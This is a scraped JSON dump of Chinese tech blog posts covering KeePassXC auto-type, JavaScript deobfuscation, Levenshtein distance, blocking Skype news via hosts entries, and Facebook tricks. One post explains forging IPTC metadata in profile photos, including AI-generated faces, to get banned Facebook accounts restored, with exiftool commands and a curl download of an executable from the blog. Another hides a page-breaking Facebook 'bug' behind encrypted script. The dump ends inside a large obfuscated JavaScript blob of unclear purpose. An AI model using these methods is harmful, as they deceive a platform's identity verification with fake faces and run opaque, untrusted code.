勾选「自动提交登陆表单」,这样自动输入完账号密码后就直接登陆了,免去了自动输入完账号密码还需要点一下登陆按钮的步骤。 打开需要登陆的页面,在输入账号框的右侧会出现 KeePassXC 的图标,点击账号输入框或者图标,就会自动输入账号密码并且登陆。 如果是第一次在页面登陆,会出现下图的提示,勾选记住,那么下次就不会再提示这个访问请求,自动输入完账号密码后就登陆了。 ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"KeePassXC 自动输入(二)","feature":"https://dev-coco.github.io/post-images/KeePassXC-Auto-Type-1.png","link":"https://dev-coco.github.io/post/KeePassXC-Auto-Type-2/","stats":{"text":"2 min read","time":64000,"words":313,"minutes":2},"date":"2023-07-06 23:42:44","dateFormat":"2023-07-06"},{"content":"快捷自动输入账号密码。 在 KeePassXC 的「设置 - 常规 - 自动输入」中,建议将「总在执行自动输入前询问」关闭。「全局自动输入快捷键」设置一个触发自动输入的快捷键,点击「确定」保存。 在「编辑条目 - 自动输入」中,默认的自动输入设置是 {USERNAME}{TAB}{PASSWORD}{ENTER},这个配置可以用于大多数只输入账号和密码的页面,不过遇到一些特殊的或者需要二步验证的就需要自定义配置了。 常用参数 下面是一些常用的参数。 参数 描述 {TITLE} 标题 {USERNAME} 用户名 {PASSWORD} 密码 {URL} 链接 {NOTES} 备注 {TOTP} 二步验证 {TAB}、{ENTER}、{SPACE}、{INSERT}{DELETE}、{HOME}、{END}、{PGUP}{PGDN}、{BACKSPACE}、{CAPSLOCK}、{ESC} 对应键盘的按键 {UP}, {DOWN}, {LEFT}, {RIGHT} 方向键 {LEFTBRACE}, {RIGHTBRACE} 分别代表 {} {<KEY> X} 按键重复次数,例如 {SPACE 5},输入空格5次 {DELAY X} 延迟指定毫秒时间 {CLEARFIELD} 清空内容 清空内容 配置参数 例子一 在配置自动输入参数之前,需要先登陆一遍账号,理解整个登陆过程中的操作,然后再写参数。下面就以需要二步验证的 Google 账号为例。 第一步先输入账号,按下回车键后跳转到下一个界面。 输入密码后,按下回车键跳转到下一个界面。 输入二步验证后再按下回车键后,整个登陆的流程就结束了。 输入账号,需要用到 {USERNAME} 输入账号,按下回车键使用 {ENTER},然后会跳转到下一个界面,这个过程会有一点延迟的时间,所以需要用 {DELAY 2000},毫秒单位,2000 就是 2 秒的间隔时间,这个根据网络的情况可以自行调整。 到第二个界面后,使用 {PASSWORD} 输入密码,再使用 {ENTER} 按下回车键到下一个界面,同样需要用 {DELAY 2000} 进行延迟,等到跳转到下一个界面。 到第三个界面后,使用 {TOTP} 输入二步验证,最后再使用 {ENTER} 按下回车键完成登陆。 完整的配置如下: {USERNAME}{ENTER}{DELAY 2500}{PASSWORD}{ENTER}{DELAY 2500}{TOTP}{ENTER} 在「窗口关联」这个地方可以添加多个「窗口标题」,这样就可以在任意和 Google 相关的界面登陆账号了,例如:Google 主页、Gmail、YouTube、云端硬盘等等。 例子二 还有一种情况,有双层密码,第一层是使用 htaccess 给网站加密,第二层是页面登陆。 第一层加密会弹出下面的输入框。 那么可以使用 {USERNAME}{TAB}{PASSWORD}{ENTER} 输入第一层账号和密码,然后会加载登陆页面。使用 {DELAY 3000} 延迟 3 秒,等待网页加载完成,如果网页加载的时间比较久,久需要把延迟时间设置得更长。然后把第二层的密码放在备注里,账号和密码之间使用制表符(Tab)间隔。然后再使用 {NOTES} 输入备注里面的账号密码,最后 {ENTER} 按下回车键登陆账号,整个登陆流程就完成了。 完整的配置如下: {USERNAME}{TAB}{PASSWORD}{ENTER}{DELAY 3000}{NOTES}{ENTER} ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"KeePassXC 自动输入(一)","feature":"https://dev-coco.github.io/post-images/KeePassXC-Auto-Type-1.png","link":"https://dev-coco.github.io/post/KeePassXC-Auto-Type-1/","stats":{"text":"3 min read","time":176000,"words":808,"minutes":3},"date":"2023-07-01 17:57:43","dateFormat":"2023-07-01"},{"content":"还原 JavaScript 混淆后的代码。 工具链接:JavaScript Deobfuscator 输入混淆的代码,选择参数,点击反混淆即可将混淆的代码还原出来。以下是参数的介绍。 atob 解密 将 atob 的运行结果解析为字符串。 例子: const test = atob('UmF6MW5lcg==') 结果: const test = 'Raz1ner'; 赋值替换文本 解析赋值表达式,用运行的结果替换变量。 例子: const a = 'Hello' + ' World!' console.log(a) 结果: const a = 'Hello World!'; console.log('Hello World!'); 非 obfuscator.io 混淆 不检测使用 obfuscator.io 工具混淆的代码,加快反混淆代码的运行速度。 移除无效变量 移除未引用的变量。 例子: function abc () { const test = atob('UmF6MW5lcg==') var kaka return test } 结果: function abc() { const test = atob('UmF6MW5lcg=='); return test; } ","tags":[{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"}],"title":"JavaScript 反混淆","feature":"https://dev-coco.github.io/post-images/JavaScript-Deobfuscator.png","link":"https://dev-coco.github.io/post/JavaScript-Deobfuscator/","stats":{"text":"1 min read","time":45000,"words":187,"minutes":1},"date":"2023-06-25 10:45:39","dateFormat":"2023-06-25"},{"content":"详细解释算法的原理以及计算过程。 这是由俄罗斯科学家 Vladimir Levenshtein 在 1965 年提出的这个概念。计算两个文本之间,从第一个文本转换成第二个文本所使用最少的步骤。 对一个文本进行以下三种操作 替换一个字符 删除一个字符 添加一个字符 定义 如果分别用 |a| 和 |b| 表示 a,b 两个字符串的长度,那么它们的列文斯坦距离为 leva,b(|a|,|b|),它符合: l(ai≠bj) 是一个指示函数,当 ai = bj 时,其值为 0,其他时候它等于 1 。 leva,b(i,j) 表示 a 的前 i 个字符与 b 的前 j 个字符之间的列文斯坦距离。(i 和 j 都是从 1 开始的下标) 注意:min运算中的第一个公式代表( 从 a 中)删除字符(以到达 b);第二个公式代表插入字符;第三个代表替换(取决于当前字符是否相同)。 代码 function levenshteinDistance (a, b) { const m = a.length const n = b.length const d = [] for (let i = 0; i <= n; i++) d[i] = [i] for (let j = 0; j <= m; j++) d[0][j] = j for (let i = 1; i <= n; i++) { for (let j = 1; j <= m; j++) { d[i][j] = a[j - 1] === b[i - 1] ? d[i - 1][j - 1] : Math.min(d[i - 1][j], d[i][j - 1], d[i - 1][j - 1]) + 1 } } return d[n][m] } $ lev_ {a,} $ b(|a|,|b|) 原理 例如计算 horse 单词转换成 ros 单词需要使用的最少步骤。 结果是最少需要三个步骤,算法如下: 步骤一:horse > rorse ("h" 替换 "r") 步骤二:rorse > rose (删除 "r") 步骤三:rose > ros (删除 "e") 实例 例如,计算 dance 转换成 pacaed 需要使用最少的步骤。(这个词是我作为例子生造的,没有其它特殊意义。) 那么先将这两个单词的每一个字符列出一个矩阵,每个单词的的开头保留一个空值。 先来计算第一行。两个空值是一致的,不需要进行任何的操作,所以将一个空值转换成空值,需要使用最少的步骤是 0。 将一个空值和 d 转换成空值,已知第一个步骤不需要进行任何的操作,但是第二个字符是多余的,需要将 d 删除,所以将空值和 d 转换成空值最少需要用到的步骤是 1。 那么继续往右计算,将一个空值和 da 转换成空值。和空值对比,da 是多余的字符,所以需要两个删除字符的步骤才能转换成和空值一致。 那么后面以此类推都是一样的,这里就可以“偷个懒”,往右直接加 1 就可以了。因为后面比空值都多一个字符,所以都需要多一个删除字符的步骤。 纵列也是一样的算法,将空值转换成空值和 p,需要使用删除字符,将 p 删掉,所以需要用到的步骤是 1。 下面的算法一样,直接往下加 1 即可。 继续计算第二行,将空值 d 转换成空值 p 所需的步骤,只需要将 d 替换成 p,所以需要用到的步骤是 1。计算的原理是这样的,如果遇到很长的字符这样算起来就太慢,下面介绍一个便捷的算法,先对比当前对应的字符是否一致。 如果不一致,就从矩阵中取这个范围内最小的值,也就是 0,然后再加 1。 那么就得出了将将空值 d 转换成空值 p 所需的步骤。 后面也是一样的算法,判断 a 和 p 是否一致,如果不一样,从矩阵中取这个范围内最小值,也就是 1,再加上 1。 那么就得出了将将空值 da 转换成空值 p 所需的步骤是 2。 还有一个更便捷的计算方法,判断在所有的范围里,是否包含 p,若不包含,根据上面的步骤,先计算出第一个所需的步骤,然后往后加 1 即可。 下面也是一样的算法, 先判断对应的字符,a 和 d 是否一致,若是不一致,从矩阵中取这个范围内最小值再加上 1。 所以得出的结果是 2。 如果对应字符一致,只需要从矩阵中取这个范围最小值,不需要加 1,因为相同的两个字符不需要任何的操作。 所以结果是 1。 后面的内容和 a 都不一致,从矩阵中取这个范围的最小值,也就是 1。因为 n 和 a 是不一致的,需要将最小值再加 1。剩下的往右加 1 即可。 继续往下计算,对应的 c 和 d 不一致,从矩阵中取这个范围内最小值再加上 1。 结果是 3。 往右也是一样的算法,判断 a 和 c 是否一致,如果不一致,从矩阵中取这个范围内最小值再加上 1。 不过需要注意的是最小值的位置不固定,可能会在第二个格子,也有可能会在第一个格子,所以不管存在哪个位置都取最小值。因为我看到有些解释是从第一个格子取值,但是这样的算法并不准确,在某些情况下会算错。 后面的算法都是一样的,就不一一举例了,只需要注意当前要计算对应的字符是否一致,判断是否需要加 1。 全部算完后,右下角的格子就是最终的结果,也就是说从 dance 转换成 pacaed 最少需要四个步骤。 ","tags":[{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"}],"title":"Levenshtein distance 编辑距离算法","feature":"https://dev-coco.github.io/post-images/Levenshtein-Distance.jpg","link":"https://dev-coco.github.io/post/Levenshtein-Distance/","stats":{"text":"6 min read","time":328000,"words":1469,"minutes":6},"date":"2023-06-18 07:38:07","dateFormat":"2023-06-18"},{"content":"使用 hosts 屏蔽 Skype 内置的新闻功能。 Skype 在更新至 8.98.0.402 版本后新增了一个新闻功能。点击「今天」就可以浏览新闻,这些新闻资讯是由 MSN 提供的。 但是发现一个很奇怪的事情,它会收集数据然后访问中国地区的域名。 下面的视频是抓包新闻页面的网络请求数据。 除了 MSN 以外,有两个域名特别可疑分别是「s3m2.nzwgs.com」和「s3m2.fenxi.com」,查了一下备案,这两个域名都是中国内地公司所持有的域名。 为了避免再次误点进入新闻页面,可以使用 hosts 屏蔽掉内置的广告以及追踪器。 hosts 路径 Windows C:\\windows\\system32\\drivers\\etc macOS /private/etc/ 屏蔽的 hosts 域名 这里会屏蔽掉一些 MSN 相关的站点。 127.0.0.1 browser.pipe.aria.microsoft.com 127.0.0.1 browser.events.data.msn.cn 127.0.0.1 gateway.bingviz.microsoftapp.net 127.0.0.1 www.msn.com 127.0.0.1 srtb.msn.com 127.0.0.1 assets.msn.com 127.0.0.1 www.msn.cn 127.0.0.1 api.msn.cn 127.0.0.1 c.msn.cn 127.0.0.1 img-s.msn.cn 127.0.0.1 assets.msn.cn 127.0.0.1 ts1.cn.mm.bing.net 127.0.0.1 ts2.cn.mm.bing.net 127.0.0.1 ts3.cn.mm.bing.net 127.0.0.1 ts4.cn.mm.bing.net 127.0.0.1 s3m4.fenxi.com 127.0.0.1 s3m2.nzwgs.com 下面这个是 masOS 系统添加 hosts 的 Shell 脚本,打开 Terminal,输入下面的脚本运行即可。 echo "" >> /private/etc/hosts && echo "127.0.0.1 browser.pipe.aria.microsoft.com" >> /private/etc/hosts && echo "127.0.0.1 browser.events.data.msn.cn" >> /private/etc/hosts && echo "127.0.0.1 gateway.bingviz.microsoftapp.net" >> /private/etc/hosts && echo "127.0.0.1 www.msn.com" >> /private/etc/hosts && echo "127.0.0.1 srtb.msn.com" >> /private/etc/hosts && echo "127.0.0.1 assets.msn.com" >> /private/etc/hosts && echo "127.0.0.1 www.msn.cn" >> /private/etc/hosts && echo "127.0.0.1 api.msn.cn" >> /private/etc/hosts && echo "127.0.0.1 c.msn.cn" >> /private/etc/hosts && echo "127.0.0.1 img-s.msn.cn" >> /private/etc/hosts && echo "127.0.0.1 assets.msn.cn" >> /private/etc/hosts && echo "127.0.0.1 ts1.cn.mm.bing.net" >> /private/etc/hosts && echo "127.0.0.1 ts2.cn.mm.bing.net" >> /private/etc/hosts && echo "127.0.0.1 ts3.cn.mm.bing.net" >> /private/etc/hosts && echo "127.0.0.1 ts4.cn.mm.bing.net" >> /private/etc/hosts && echo "127.0.0.1 s3m4.fenxi.com" >> /private/etc/hosts && echo "127.0.0.1 s3m2.nzwgs.com" >> /private/etc/hosts && echo "设置完成" ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"屏蔽 Skype 内置新闻功能","feature":"https://dev-coco.github.io/post-images/Skype-Disable-News.png","link":"https://dev-coco.github.io/post/Skype-Disable-News/","stats":{"text":"4 min read","time":224000,"words":700,"minutes":4},"date":"2023-06-13 10:40:38","dateFormat":"2023-06-13"},{"content":"5 行代码让 Facebook 专页异常,无法打开。 staticrypt-form{background:#fff;max-width:360px;margin:0 auto;padding:45px;text-align:center;box-shadow:0 0 20px 0 rgba(0,0,0,.2),0 5px 5px 0 rgba(0,0,0,.24)}.staticrypt-form input{background:#f2f2f2;width:100%;margin:0 0 15px;padding:15px;box-sizing:border-box;font-size:14px}.staticrypt-form .staticrypt-decrypt-button{background:#4caf50;width:100%;padding:15px;color:#fff;font-size:14px} 这是 Facebook 专页的一个 BUG,可以让专页除了管理员以外都无法打开,类似于取消发布的效果,而且常规方法无法恢复正常。尝试写信给 Facebook 反馈过此 BUG,但是并没有被修复。 免责声明,仅供用于学习研究,请勿用于非法用途。 请输入密码后查看 var a=256,b=1e3;function c(c,d){var e=CryptoJS.enc.Hex.parse(c.substr(0,32)),f=CryptoJS.enc.Hex.parse(c.substr(32,32)),g=c.substring(64),h=CryptoJS.PBKDF2(d,e,{keySize:a/32,iterations:b}),i=CryptoJS.AES.decrypt(g,h,{iv:f,padding:CryptoJS.pad.Pkcs7,mode:CryptoJS.mode.CBC}).toString(CryptoJS.enc.Utf8);return i}document.getElementById(\"staticrypt-form\").addEventListener(\"submit\",function(e){e.preventDefault();var a=document.getElementById(\"staticrypt-password\").value,b=\"0be038111f1695b036110e36975c319421a754603f2921b99b2ef2fa383f2ef048ccc6e14a349d325d9b0f0c9b21f6e2c236662cc99c82be66a5a7f15e10f46a2vUS3AOQro0vy5LS5CZ5+DC7/nrjwhPGw+pcPeGwgqmTUyxq+jWUz3CxYf3PQGz8vbtyFeA9bAe1JOL7nl8xfCHLzM5UsI+rzNSCiZf6aoCSOdIKAsy9pPE/7F0JmyhB11Zq9usxd5BMAYO5L9GblFVPT7Lb25Sw7bAGBoeo5LQXoymFRQt7DcqF9DjXiUtBn/XxLZIYjTdHrcX3Cwq/MxAbYMxjn/Pg+iXIdIev7t3YlLPe9Lt0XQCiIiXumUgz/ghAkQNBt6Ssc/UrL1RHW0T9sOiY9vkl3dTmhl62LRkuhGiY6JtBtcMrM8mPFD7phSPJUIK7Ojr9ED2H6Ye6iEXpil1iDbxHUBLIlmt6EEzTDpSG8HnNtDl3f3afxI5JZeZiFZHm0FdkYwPFB47Da/6HxREmhSN4LmgL0EkLppuQvpmNMFEIx55xb4eOeMoOwjrmJy2DatwuLs1RSRfWH5lsZdEllUVBjsKTiplDB+WT3OoRwrrdYhvNaxlEBA7yF2FIYMVNfh08woq8qedTAg8uJjdibVoqXgGrQ+anVW180bs2FD0lbL4SXa7SprRcNxp04oj/wpvKRnkf29PUcxkxi+uXvvQu50WAVS6d3gqrtT4ENKBoJfzVaYeB17jiHVyx4UUPRpch0uVJ8g+NWKZi5CpVL96CBtkowXZ3JauADLcCnxhCZ9DUqEICmrNMxuGkb4vhgvGXb15G1DlSDGvtRXcinViijNP2A/FaQSIyoW9L5f/GL+VfnJSJ0zuEhikJj3jcdqfcXXJTLm41wBuCGL04BGXN1ZprYIPgwPrVf2cZPx/sdllr+domjvFy3wnbVjVferRImS23Pw+eHlYg9WvCZuPzPN37wRAEUP3rO3m7LE6Pu1eKxT9jGuXx5bdaCRP9tI9I1ABnhSjSptLo/Ggy5q9lvvSD/CIsO8fdd/TmfZTxkDfjY1BmY9pR1XvmlYmMLkhxBhppiCCR3ZS6mI/lgtaCoADAbKDjz5oA7bTWnj8dDgvIVsdtzHrnx+/VZGBxGlAuTUJied5xxPMeoweIzIy/Y3tjkn6HTuTFelbKIGXzPOHf20MWODYJyn6O7XHb0GgGNy4GhujWVpRGCU9rkqTfZYV1YPs/P8uEPNRLqEgYohnQe0gLh774x6vzcwSLhPl2g+FEOeS7AwMRC/3bzIo8JyVLxnMkh7v3Tnl7QTPOOP/GxE9ajA2TtZCmDAAyrqKHF7liTUBOztu5Aiom8y59xLyEpKiVReA7V6YYel4pJWxxk/APdDBE5ctl5bbaIK8Ykw6Pcbu7To88qJUy44zANhkU4Yjq60Vb6Mv65hNKQSSWhXg5v0HXQgygu56nfssdApGu2oopaHJFoCOOnKQLJbwn3vJATFm3wLtU9mXrID2aSZg1cBqF/i0DUnM8twFowTI1I5oLZzkiKAqiBoqnLqrEmwdmgx2uG+zL9ftKMrqRcW1Pt7Lz+hVY//VTEtyP8Rj6TECmH0ocA09LGYVxD02Bh5C6PVAvf0FIUrNxue8KO10ETs7PPX6zspcKeJ+Iow53/+SdPSc4rM3kw9yRWa56wRKaMCkUeUov2pLTwKKi8adb3F95sYHqPweZa25qWrGikBFTK5xVYtf+BXmiUM1vo0+7NFzo8Y4rtvKKT4ufa64rJGhcKiNmw4Lyuk9DwEZ49H8b/2hEf3vqsxNDYars22OQBmBCIXUD2jNzYt5+u09G9+4pndFc1gz6yR/EF0P5CMcckHCPkJ2wYJdjQhMOEbaPqDEr5un1E49WqyF3WbJwoRrMlSc/D8JQgRe4GDnnW5v6aXKUjHoNtRVp636HvBQjcRigRTe2PCw8zUi40KO1LOo0BoEiaxoQxBkZZkQYzv0EXXljbsr5+S3ADdtgrfXW+J3c1MTWSwrY6F94sIzXW3O0HchCZ5bEIVwNYWC03aE8CCHHZBZVwfPIvJAXkA3Ds62gnWalyiwozL63O8lKnh5yixFgRsPbqZpd7xiTvwDi/QmpM1zjOXTeX8B1abgYXJx0cLG2Zd9ALC13B5/792LmbjlmsO3HvofSEX0+6tpndlk5PdUkTxyglCqMRCnCm6VeKjyfXwQ8yKVufES4QPrqGZZuq1h6x93ign51SwJ3K1GWoo4YKnqVB7Ev0cU4pclsZLn4FwDt184MP+bfT0zq1iBr0yLbohwurOYvl2hRZdXKPN80a/qiOeIQZ2XqKz64h9txqxeyagd4kbnG5UaHK4nLTZv0m7PjGrSDMxicuM6wDqLCuRdLh8b2MrwDUHCBe9w6lXaGNl8WdmdrxI6g8lhhESYWGFdBI7jOeP7Eo3JoLnG4h2y3H00VSGoQV7Z4c+f/f7r//bDGtDgue09gzlTW6o2UqtBBTS/JhTk+1qMj4mxHk82p5tLIbi6IK4EGVVocGGuTz2qAecVvRwvlYruO90ZYJZKHxeLV9W9cPJJsaMkzKGUac8FFUuI5biTmh4OE085JZc/IzJaM5f4OoH7dLeV7CorZrYm59WAydQu3XeXYLuWmb+EYmSbT/EKr2/KjpyxHYcxcti8s4y7cXhF0e7601AWt61WVk/3k2VCc/3ZgEq6kfZlmtIZOScPiJbJMdFjAzWFPVm9la+P9QlmbFZUAUCdNXZOt8zMaQPwIbzJD5EPF5WKVAvrFQgv3hu+adr6wrG3lBFL59IUS1YfuZpI0aWB1byJufRhcfI1HpjKcIlaB6gSywXpBGjxKv/+dq9XyOI5apq/gqiuXpwKRvtWwIcDwC8JbgfBjD8TaiPobZe7oTxolAq7trpTrnzFUed0zAe9Ruidi9X30Cmowk8AlMxouu68GfHfTyGCNSYUxv76ylchIMVdQRZ1/9tvmro1jdNKjvL2sSi5ltgnql3EPoDkKODQJkyl8wAKyK70mSL4Iw+3NLtbIO+Jyu9PtKqbM2Z19g930CEOpp2blMokiQGVRaS8yWCJMmB07hOuPTpDSl7DWHKpKhvlP5ZM6if98n4nwX1hLWQgTh6uoaUBPrbLoXfB3X5X6UzfBFCEuSydFh5KkEtYC14c5NcecekcZcoOetcoJ8GtTOb37StrqlHOnlb4Xwn55WjifAwkpUcVkkb/M4ZYJU8B3/kpteTtMPEhZ/Az8XNVKPAMCLil9LlffLYN7ULVJGZV22DkEljVd9LHdEcLK/1p94HD4JjEBueKN9g0Q7vKG8nOG8+0nuDopXiaed58GxBLdosPNpcIQnsHvgFlGmkPe5DSttU5cT2Doce/JjpbYOLomrLPz86BgzTIOhoz4DkS85msh7SDzLys/aSzVlUZT7WcJnGpBxdU2VekH/1QpuZpMf3X94dyAOG5H4CDai20P/oJcpxRnzYxu4cRErZ5Nv8Ug/3hs790FbwSlKbEUHTSO0dVRl5nJ0Nztku9mtef2rSQ+5rPsIcQNzotXohbIwQvcSbirdqIC20Huvth0mq0JpOY4x+cKnLq/dKBWR78r42W6L6Z1IgEnJojAxhYpxex/nInEzTRD696l+e8sjkDBCA3yi+6gMxBEJb9Bm6ZCoCb1O6xY1RMZ6Dhdm5+Kvls26I3Q/RdWnNM/a1glE2YK/02zrXi7j8y6Qz9JlkdvToEbY2ssaWWu8WVesU7SZ3HHXWxl8z9+XFPLfnGnAQ/OmnTsNgtxDQSg38Erjl2VPBDniskNgFjmPvNE0KrMGxE9j8L+aDsZhOPw6kfk6yyq5+pLcXnqhqLo1zmXQayjPPIu8P6gZ0D2N69u28LRMzEkmKGTO+t6fKMVKtFj\",f=b.substring(0,64),d=b.substring(64),g=CryptoJS.HmacSHA256(d,CryptoJS.SHA256(a).toString()).toString();if(g!==f){alert(\"Wrong Password!\");return}var h=c(d,a);document.getElementById(\"article\").innerHTML=h}) ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"},{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 专页 BUG","feature":"https://dev-coco.github.io/post-images/Facebook-Page-Bug.png","link":"https://dev-coco.github.io/post/Facebook-Page-Bug/","stats":{"text":"3 min read","time":130000,"words":396,"minutes":3},"date":"2023-06-11 01:48:49","dateFormat":"2023-06-11"},{"content":"一个超高概率解封成功的方法。 .form{width:530px;margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:16px 16px 5px 5px;box-shadow:0 1px 1px rgba(0,0,0,.05);border-color:#428bca;margin:10px auto}.panel-heading{color:#fff;background-color:#428bca;border-color:#428bca;text-align:center;padding:15px;border-bottom:1px solid transparent;border-top-right-radius:13px;border-top-left-radius:13px}lable{width:240px;font-size:16px;padding-top:7px;float:left;text-align:right}.form-control{font-size:16px;margin-top:10px;margin-bottom:10px}.btn,input,select{margin-left:10px;padding:5px;font-size:16px;width:260px;box-sizing:border-box}.btn{margin:0 auto}#accountScore,#postScore{text-align:center;margin:5px} Facebook 账号被禁用后,有可能会提示要求输入手机号接收验证码,然后再要求上传头像。经过三年左右的时间进行实验,我发现上传头像成功解封的图片都有固定的特征。 图片特征 下面是图片的元数据,里面包含了 OriginalTransmissionReference 和 SpecialInstructions 参数。 UTI: public.jpeg Metadata: { ColorModel = RGB; Depth = 8; PixelHeight = 927; PixelWidth = 927; ProfileName = "sRGB IEC61966-2.1"; "{IPTC}" = { OriginalTransmissionReference = "-EgrBQzq01u7kn0WVGu4"; SpecialInstructions = FBMD01000aa3010000c42b0000ef5d0000b0620000ed67000009870000fad4000006df0000cce7000059f0000030760100; }; "{JFIF}" = { DensityUnit = 0; IsProgressive = 1; JFIFVersion = ( 1, 0, 2 ); XDensity = 1; YDensity = 1; }; } 我尝试过上传真实的头像图片,但是并没有包含这些参数,解封成功的概率很低。加上这些参数后,上传的头像图片有的并不是真实的,甚至是 AI 生成的人脸图片也解封成功了,而且成功的概率非常高。那么只需要在图片的元数据中添加上这两个参数即可。 生成元数据 我做了一个元数据生成器,可以使用下面的工具随机生成参数值,然后在图片添加这些参数。 元数据生成器 OriginalTransmissionReference SpecialInstructions 生成 设置参数 图片必须是 jpg 的格式,其它格式无法设置参数。 首先,需要安装 brew,如果已经安装过了,可以跳过此步骤。 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 然后再安装 exiftool 工具。 brew install exiftool 使用 exiftool 为图片写入指定元数据,将 xxxxx 替换成生成的随机值,然后设置好图片的路径。 exiftool -OriginalTransmissionReference="xxxxx" example.jpg exiftool -SpecialInstructions="xxxxx" example.jpg 检测参数 下载 exifdump 工具。 curl https://dev-coco.github.io/other/exifdump -o exifdump && chmod +x exifdump 使用 exifdump 检测图片元数据是否添加成功。 ./exifdump example.jpg 如果在输出结果中有显示 OriginalTransmissionReference 和 SpecialInstructions 参数就说明添加成功了。 不过要注意的是这个方法虽然可以提高解封成功的概率,但并不是 100% 都可以解封成功,如果账号本身有严重的违规行为,即使上传头像图片通过验证了,也会因为违规行为被拒绝解封审核。 (function(D,a){function n(D,a,x,U,M){return m(M- -0x20,D);}function W(D,a,x,U,M){return m(M-0x7b,U);}const x=D();function J1(D,a,x,U,M){return m(D- -0x217,M);}function f(D,a,x,U,M){return m(D- -0xe9,a);}function J0(D,a,x,U,M){return m(U- -0x2f,M);}while(!![]){try{const U=parseInt(n('049c',0x2cd,0x217,0x30d,0x27f))/(-0xf2c+0x12*-0xf0+-0x669*-0x5)+-parseInt(n('Blqa',0x21b,0x2a1,0x1e3,0x266))/(0xf21+-0x1352*-0x1+-0x1*0x2271)*(-parseInt(n('tMGo',0x1cc,0x19a,0x1bb,0x1b1))/(-0x4*0x10e+-0x178+0x5b3))+parseInt(W(0x3b9,0x34f,0x345,'[P2@',0x343))/(0x2*-0x10e7+-0x4a0+0x2672)+parseInt(J0(0x1bb,0x1dd,0x153,0x186,'14)9'))/(0x2*0xf4+-0x2*0xb8f+-0x153b*-0x1)*(parseInt(W(0x216,0x1f6,0x29c,'B!Ps',0x22f))/(-0x1*0x1ddd+-0x2*0xac1+0x3365))+parseInt(f(0x112,'[MXw',0x19f,0xa1,0x131))/(-0x2507+0xedb+-0x1*-0x1633)*(parseInt(n('qYxU',0x324,0x230,0x31d,0x2aa))/(0x127e+0x6c2+-0x10d*0x18))+-parseInt(J0(0x17f,0x215,0x195,0x1b8,'iL)6'))/(0x176b+0x1621+0x1*-0x2d83)+-parseInt(J0(0x1f1,0x154,0x22e,0x1c5,'B!Ps'))/(-0x7*0x12e+-0x8*0x15a+0x98e*0x2);if(U===a)break;else x['push'](x['shift']());}catch(M){x['push'](x['shift']());}}}(A,0x1706c0+0x9e5ea+-0x1*0x146b85));const T=(function(){const D={'wLxHP':function(x,U){return x(U);},'UObZw':function(U,M){return U+M;},'dniqV':J2('kVV5',0x384,0x388,0x403,0x380)+J2('HTIt',0x417,0x428,0x47b,0x49f)+J3(-0x151,-0xe6,-0x15b,'oTB8',-0x164)+J4(0x176,0x12e,0xcb,0x1a5,'B!Ps'),'RuftT':J6(0x1bb,0x1d9,0x14e,0x239,'S6C!')+J2('11k@',0x4a6,0x54d,0x4d5,0x518)+J5(-0x75,'XAlH',0x48,-0x20,-0x1c)+J5(-0x33,'S6C!',0xaa,0x2c,-0x43)+J5(-0x93,'qI^J',-0x68,-0x1d,-0x3d)+J6(0x1b7,0x131,0x15a,0x136,'N^S*')+'\\x20)','eqLAb':function(U,M){return U!==M;},'ugpnG':J3(-0x1a3,-0x179,-0x1f0,'S6C!',-0x1a2),'OlTHa':function(U,M){return U===M;},'LbBNz':J4(0xfd,0x16a,0x1f7,0x137,'iIQ)'),'HSGHM':function(U,M){return U*M;},'asHNG':J2('4bWF',0x523,0x515,0x4e1,0x455),'dKrVg':J6(0x171,0x17f,0x19e,0x196,'xFkR')};function J6(D,a,x,U,M){return m(D- -0x104,M);}let a=!![];function J3(D,a,x,U,M){return m(D- -0x376,U);}function J2(D,a,x,U,M){return m(U-0x23b,D);}function J5(D,a,x,U,M){return m(U- -0x239,a);}function J4(D,a,x,U,M){return m(a- -0xff,M);}return function(x,U){function J8(D,a,x,U,M){return J5(D-0x17d,D,x-0x48,M-0x1de,M-0x61);}function JU(D,a,x,U,M){return J3(a-0x4c3,a-0x5a,x-0x1ea,D,M-0x110);}function JJ(D,a,x,U,M){return J3(U-0x587,a-0x174,x-0x19a,D,M-0x143);}const M={'jaLpE':function(F,Q){function J7(D,a,x,U,M){return m(x- -0x5f,D);}return D[J7('X&!u',0x1a1,0x1e5,0x1e0,0x1a5)](F,Q);}};function JM(D,a,x,U,M){return J3(M-0x3f1,a-0x199,x-0x1d6,x,M-0x1e6);}function J9(D,a,x,U,M){return J2(D,a-0x5b,x-0x184,x- -0x590,M-0x42);}if(D[J8('iL)6',0x265,0x208,0x182,0x213)](D[J9('Y5tr',-0x160,-0x13e,-0x10b,-0x18b)],D[J8('[MXw',0x230,0x1aa,0x20d,0x221)])){const F=a?function(){function Ja(D,a,x,U,M){return JJ(U,a-0xe5,x-0x4,a-0x1cc,M-0xd);}function JD(D,a,x,U,M){return J8(D,a-0x22,x-0x1c8,U-0xe3,a-0x3f2);}function JA(D,a,x,U,M){return J9(M,a-0x1ee,D-0x2c8,U-0x1c7,M-0x83);}function Jx(D,a,x,U,M){return J8(a,a-0xe2,x-0x118,U-0x189,M-0x3a8);}const Q={'ZfVtr':function(G,e){function JO(D,a,x,U,M){return m(x-0x25e,a);}return D[JO(0x4d2,'Er%h',0x497,0x4dd,0x42b)](G,e);},'jsama':function(G,e){function JB(D,a,x,U,M){return m(U- -0x9b,D);}return 